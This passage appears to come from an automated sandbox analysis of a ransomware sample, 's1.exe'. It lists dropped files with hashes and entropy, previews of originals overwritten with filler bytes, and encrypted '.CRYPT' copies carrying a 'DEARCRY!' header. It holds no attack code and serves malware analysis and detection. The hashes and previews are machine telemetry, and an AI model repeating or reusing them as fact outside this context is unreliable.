                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e64ffef1-e246-b632-595b-56076a3fa776.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2936
                                                              Entropy (8bit):7.927224399717496
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E74F61784F7BACA20F2057A0AC0E0846
                                                              SHA1:4876E09F1B70C015FF7AFA435100B3F7188383FF
                                                              SHA-256:3193CDA16CDAED947569C2340F91DFCE15416B1A83673C2F47FFA16A3D8B335C
                                                              SHA-512:3FFD020FDC19A564D5B3323852CD5A313B3A28BEECE181F8DCD52B4B6D392C4E1A7FD32EC2FA62A941FDA5CF67AF6375F2FE0380043038B22094FC8BF4CE00AD
                                                              Malicious:false
                                                              Preview: DEARCRY!.......3..-2N...$.Ue....P}...s. .C,P.1......]'.0./....=.`L.|xdH.....[c...C}..):n.n. .I..a.w-.as._k...r...]X.!....`....j...&~&.,..Vn.Z...Cbt.~.. .#.YC"l.\..Y.5+..y,(..9<Zf.'~.P...e.k..|\k.I}t..Do......( ...3........k*..#.M.dH...4.>[...d....C..K....Q.........g5.\......Z....0...h....i....X..y0.+...7.</E.`.......!Q..D.`a..f..}^s..D.@..z...g....t`.Se..&.d*..MB..k.z..So-(D.z`.....;........\.K....-......W.Nc..j..m.N....H.i...j.F..8.e..?..+..d.H~.5e.s/..S.....[.._.0...m.:.....NeG.|.(.4i3.2../2..o......k.....3<z.$v.........uD.CI..X.!Vs.l...S.@.x....`i..q.....]....I.:[?KN(+J.4}G.U.*.i..510.[0.9....U...Y..-.Yw.K.t....U.Ww..r...........L.4W.,noJ..w....IzD5.P.:.....j...*..&.M.........qp....!D.].....yB.&..7.&...P..}E.F...)vW.....#....q.n]..!....X.<).D.R....(V....RZk.a.x=X..........e..o..h.f.5V........Jf....d.b.....*%Xh...%.....uI.{...I.%.:(.....l7..]x..8.....A..."-.p..1..Z.B84.5.....{..I..3./...k/.../D.<..O....A.I..a..g....6...-f(.......X.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e78cdb72-8076-1aa5-5df6-048300a0f594.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6847
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4223A08DC470CA63A5A35A9C654A9918
                                                              SHA1:66DA90CB34596E876C1CB642433011D60ECA75CF
                                                              SHA-256:4B7A2FBD41F1FFE2690EC99F4D076176FAE178EF928EBE2D99ABB9BCB2A86A48
                                                              SHA-512:587C1F2E1F09C4CF3A2D15040E77A3D96A05FDE92FD2E14A6764450BA930669BCE4E897110CD3DDFD59A808C85860F345C722EEEB77A1E490AF906436552C6E7
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e78cdb72-8076-1aa5-5df6-048300a0f594.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7128
                                                              Entropy (8bit):7.978052451976666
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A5ED660A03082850C5D45885888D0E79
                                                              SHA1:7B835CC09699AE7BE96F2553D25413146B044EE8
                                                              SHA-256:7FC2A85046002151E81476C40003416F20E4CA2CFC5A6E87A8A10D1A1B1BFD06
                                                              SHA-512:68CE5E650BAE32344D2C112B982513B31E7885AED2E065D89AF9F08F5867C41D3B5D51956D8A8240743008971DB2D7F15214DF4B1E673DDDE047906465642131
                                                              Malicious:false
                                                              Preview: DEARCRY!....{.iHT.50.".Gx..L.....8.z.Z....3...4.H2r...OO.....v.c%.M.g.......0.X.:..y.*t....*Q.W.J\.}....(.>../p(...%..3........B..~.=..5....Ooe.U6.D.......r....D.........By:rj.{...^/..G..t....U.3.lq..A.Q...9.!.e(...........}1.....B....9.O..6..F.. g..G.................vr7..J.c./.Y.t54...Z.)..7(.1_....$..r.Vv.T,.K.[M..0[.@..f..d.&....?..G.?p...>b..N;Nv.Y-C.|...R..^...A.]'.K..s..$C..U.)G}.=...6<.N(.o@...9.4.%m6li...7...z.....~.,8 .R\H.P..s.....yT..;.HB..\n...#...Y.Ru....G...i.&.A]..^....@.V..#N%..A.,.....n..S.O...ho.....qS.>x...>+....q@L..Q..n...tgH8o..>......9..,.c.r.m~..:..|.2.^c..tq.f6.^...) ht...).R.Pt.Y.C....3...j..H..t.+j.l&.kHm......j.P........o....3g.....e....... .Z.h.\.Y?.]...)\.MX{~..q...3.)..R .+$5.f.[D.%.....u.S......j.If...}..fO..v_.e./@..4...).~...._..h...F7..kV5B.:`.......I."....Sx..S.z....6.".q..v~%.....!...VA..... ..x.ya...95..(...%.i%...W.{.b......d.....4..%...'@.C..ev.r..B.t.......BI...k.'..z<%*..U.......G.e.<..X
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2794
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A44D34855CB213AA769A4A652623E926
                                                              SHA1:1B4906598D54F95EE826ECBD45FAADA86595B0A9
                                                              SHA-256:7AFB7F3E26085F6549F9E7222DCA8F82575FD07ABD5F3519FD7C5A60D8339874
                                                              SHA-512:46F0B9D6AC72E5381EE375DE96F4908EF4982453D2D4077D1E66EBEEF3347389C5270A935B2064AFD82C7299B4C96B8E9E3AC9F12E762D1299C2FCED0A045BF1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3080
                                                              Entropy (8bit):7.940848609084317
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5A262CE843EDA27484C33B3B06A43CF8
                                                              SHA1:69BAC2095C0C54D67DB01C8BD9DEDC36C855D169
                                                              SHA-256:98783C77A23A9A981258B9AD105D48EC5D37A1D4C0754B3E9A918BCA52267706
                                                              SHA-512:250C0E4B9DCD977C55CC134192211003741533109D1A628E6F79AA2CE5025D99954B3D3C8078F9E8F787046B4F34091E77BE0BE2AF19884438525912B77D7F99
                                                              Malicious:false
                                                              Preview: DEARCRY!....<.+.x......#.K.C..:::.~._9..-qX.0........C.....zd..HtF|......I;..Y...._.fW.......ylb..G{..!..Y&.....P..<a...N.....b...U=.^xeaB....ma..xy.p..a....}..5...6~.....@.o..-p..F.../.'s.}..6._..B.%...2...e.kO...G.hdV.7B.......e\.& .9.."..tF[..........d.................4e...6.fq!3.D..'.....i.R..+k.62/}.LG....&.+...-?\..[.D.t`./..8.R.X..<.fb..~F.k...m.^..>.x........z.9.(.q..\.qM0|...j..B./..(.Y.....j5......y..n.S?.4...gV..'...93`.g#@.3~..p7..P...^..}.X.N..r....p.-.....#G+..W.^i.D.e..>..w:.se......p..Dc..A~.s. x...r..`.'7.W.NHy..\Hh..5...qZ..(....4.F...P...j..6.*Q.(.I.%.-.8$3.Q.6.`.LE.)...|...+...'...S.............\F...F\..G.Z.]..L&...:..\.sN..1{.,A..1...JFy.H..I.K.b....il.......`./%...q..Q.U5......%...{4l........M:K..^5C....T....&.V...>Z...=.a.E%.s.V..d......9*M.7. ...j..-C..q...S.4..r<...dd[Y...2.~.^.C.w.O...HW.AgG.}....X.x).g.......4[8....Z.......9r..j...V.h....nu. .&.S..F.........W.8.{:2....8.A*_(...{aSM.....:......(.k..3 ..1.}98..K.......H..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e8fff2df-6041-8f21-3df7-db31661aa09b.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2652
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3DD7D06C219B0F6145167799626CAC9A
                                                              SHA1:E1F17110C70E19BD38F9DF403E8969366E030689
                                                              SHA-256:421A5BBF452004A043FB9C649A9719BBFF84ACE55465E6634F7AA2FB9004FB1A
                                                              SHA-512:4329BCB51CF9F936EDE2A6395EA61F52AAAA87AA9EC4BCBAE911A6691983C5A203094EE1A02B2A443E392A4CED5BDCBF6E2921D008EBE42A35397BDAB11C6BB7
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e8fff2df-6041-8f21-3df7-db31661aa09b.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2936
                                                              Entropy (8bit):7.936736184407493
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:078B485283E4806DCB5D00C626144828
                                                              SHA1:82975B8AFFD4D4E09D381003B63F4E5115082CFA
                                                              SHA-256:579AEE134B37C41C0C9A3C10B441A90A31D73BC32713C408F68D139C3A769EC4
                                                              SHA-512:FEAF96CF13FB5328059A14D0DA86A1C8E1C624795A5D9CBC228DED0EB873628F6E0548A0CFDF7145C098B2941519422F0EF8880E33E2923538347DF05ECB7295
                                                              Malicious:false
                                                              Preview: DEARCRY!.....$.....q...................F...I..gt.n......+=..%%$|......&K1.......H?.K....(............V[.......&e.t....}.&.Rn..B......2..M..E(..r....9`.)_5.l...........PF.gK........p&..;.1t....4JWYY......pV.g....).z.z....g..Ad.;...F.RD..[...b?.....=.v.U}....\..........F&..o.>..~.S[.i;Xy.[^.Ft...b..[.)..}.TD9....Hi|....T..Q...m...}.....^.0y..t..\..N0..6....N..p...R..*.O..[..g:..J.l.!I{.^...rw.)fw..z.Q2.\_"iN!).x....@w.....T.Pq.3R.&..............so_..^.G..T'C......#.\.-...$.)~.o....-'.2......:."wM.Wr..'.*.......DB.z.O..-)rHbHi...B.yJr.oU){(>..SI...<......4....s.\]..ah....u...G........>...I>.?tc.u@..5<.,...V..(h_g..ln]...F.1.z..'....:.OU...~kDPu.D.b.....wD..@HG.......F...&H..nY...D>..GS/~.(Vj...:.4!OT..DNJ5.M.T.s.6.s...].i..7..C.....U..~_R<..b.'...@6K..~..j....*...WA4..&..E......V...........o......P.../.3.1H....\..B.e+...[_:j..u.\.!.%\..H.y.../........1.|.o.I...z..X...#..,.....m.`..6.!.E}...VB..hS.w...*&h........n._.,....P.O_..g..q..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3185
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:54B64A91C46F04DFEFCE4E6E71DC809E
                                                              SHA1:65B9EFF682D854CBC0A889A9DDAF86439EF7D2FD
                                                              SHA-256:DBEDC291917F0FDEECBAA8A8A9F2C0F631B7F01298FF8DFD4F9690F327139CCF
                                                              SHA-512:5AC70D5DBAEEBD546252CC18D1E56612F51F8A167EB527B02A904410E2C5514B5D9F259F3EFF4E4D73D422218F37225122DF1CD3F9FE3E07FB1D3CE9D8E0187F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ecbc2601-0a67-4963-e594-43c65d6ec9a5.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.940824467697613
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:923A96C79B8096FC0845518C0901A35C
                                                              SHA1:ABA239FF81CA59B17C333DB8040D5E7B8F082CEA
                                                              SHA-256:662F8420F8F068D96E5F6425BC1D70A289DB207C1C0C104B8BB3C78A28E147D2
                                                              SHA-512:39E429D53573950608600EF0E7573B8B941888BD1572C3BF7C22E116AC75B39A8E00BB611034C8F20259347E1279781D289B387ACFBD0DDB1265BDAA00DDC3FF
                                                              Malicious:false
                                                              Preview: DEARCRY!..........Ad..bZ.{P7T!.5...!?.G].6....c}..<..8..+.]q.>.F...J.?..`.d.@...a..:E.i.CN....?.....,.j..N.T(}W.xC.'.8......./n....e5TS.fpT.Ufh).c...2E...j...Q.g.o}q.5F.... ..W..K.<[p..I.........n.E......9|.oD.S..%.@.8W.}..u..-.ei.Y..b..m....;....zm...........q........vf."Bo....q.....9...F&.).H>..H..4.gL..R.[.j......"fI...I............n@...X..O...M....U.....a'...t.2....4a..~/".G.....E.6..Q...v...+[........b.....\YC.z.B...80G.+z..p........y6.v...!...).Y..o...:G.]..w.R(......u.e.^...|.d....Y..vho..0k9%......o....0.D\<.....h..A}d.xPKt..(.#c4..UL.?-....0xxO=...xT....a.&|..~....M.7n.....n..c.3.l...>...\b^..X..3.!...mK...*...E..F{^.(...E.s....vrmx......[...pA.L.kA.0...c.tk&.a..b<Q.i.D|........~.JT$.........S...R.....k.Wu.U...L]...K-.4.&.d+.=....K..5..^C..g.EN...X...A......t....Z%..hd9....... .e...H#i.[Q....PB......./j.'!n..%... KH.f.G.o...3.@........E.,..X(4o..vU#K.]0..."C...P[...R..u e<......ESL[..6......m..`..d.*R.]...q...r...q....PNs.....S.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\eee47229-947d-2ac7-e8a3-49bafee251d1.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2630
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:29EB0301F92BDA0D67F79582ACADF847
                                                              SHA1:2C2AC90238793F699322833C2F8BD043CC29DDEC
                                                              SHA-256:221CE3A8C269F4DFF433A9A8A9807F65D8FA7B302E640B245F7293A0998363D6
                                                              SHA-512:61F47426E5DFF09A432A7848F3D07CFB5F85CAB6B327FB416C31223E6A5ECAAF3A3F065A6C4BF0A352FB4FD3C7199AE481C929C43DA3D596000F87D7F6BD52C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\eee47229-947d-2ac7-e8a3-49bafee251d1.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.935832148187987
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1E9B1A6D88875D08E1C49B7DD0EC98C
                                                              SHA1:7D7C59B0988B240051CD0ADB6F5715AE0C28BE41
                                                              SHA-256:43F5CCBFFEE016C3C68AFD56BE9B35FC94EF34523B2D72848F8CF8E711701262
                                                              SHA-512:6C8DFACB7EA64755237CCC88CE783C9B86E24DAA31C30A070D614627A20A8F04891DBE595C1D9D2B80906268109A36F168FF657EFE8CEB564E2EAD2F7EF8B84C
                                                              Malicious:false
                                                              Preview: DEARCRY!.......o......Bf6..u.....A.x..?...e.....{...U.._...%g.E.v.....g.-.%M8X.....\W.,..k....J.$...n....0V......L..cY{.Z..S.9<..q..!............Sd..S...#.._.J|.cmzU=..3k.S!d......^.".....V.uR.d..m..|.....5..N.H$I..%.s.q.lOl...f.!.V.o.........b.......#..6./.....F.......NW....-..4' ....-G.6_O./<Q9..~..QJ.|.[u5d......;C...:...w..x.K;.N.?!.../.J..l.9..2...i*..$.lW..*B.i.BJ?...u.K.I..../... ...N...5k.g .C0.0g.)d&|.+NcP..Z.-F...mq..f..qn.g:MR..DiD.:k. \@..dk._B..p.l........2.o..Gd.$o.zPO5..A.......f .q. .Z........-n..f....V.Jhh.]..]..,...[.{..I.w.....nh7.. ....m|.\..G.M.<....,e;..s....5.:..&X.V.*.../w......tdY..a./...R.6...f...#N%.W}_.....s6...S....W..#...<.%./.w.....T.5.J...l=.t.....O[...g......z8....R;I..`........9....6.......6W...B,RZ].j...W.C.....]..=..k.5^..}.Z9.Nq.x.(A....H.50^.~.w........=Rx...t....:\}.=.........o....uDZ..%<.W....#...+.. ^...i.]!.F...!i.,..a).h.wI^..=5.9..}._F....nj&...g.=A..x......ET?...6......-wi..&..A.Z&t....9....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\f054e029-5f33-9d9d-e43e-e95dd6c40e79.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3554
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0324D340042C26A130413F37172ECB04
                                                              SHA1:E10E21DFA0A2E7152145B9CF9943905BAE4B40FC
                                                              SHA-256:162678F9B6271DB315A6B9B566F657CEB1BB7AB57449BC1B01F6AAFDBE219139
                                                              SHA-512:35F20AB5FB63EFF04834B3EC9274442EAA1F639A9ECFCCD900D4190A0B13421077ACF4A4CD40F396CFB87449D756EDBB7D72A218992432B9FE530E5332265EEE
                                                              Malicious:false
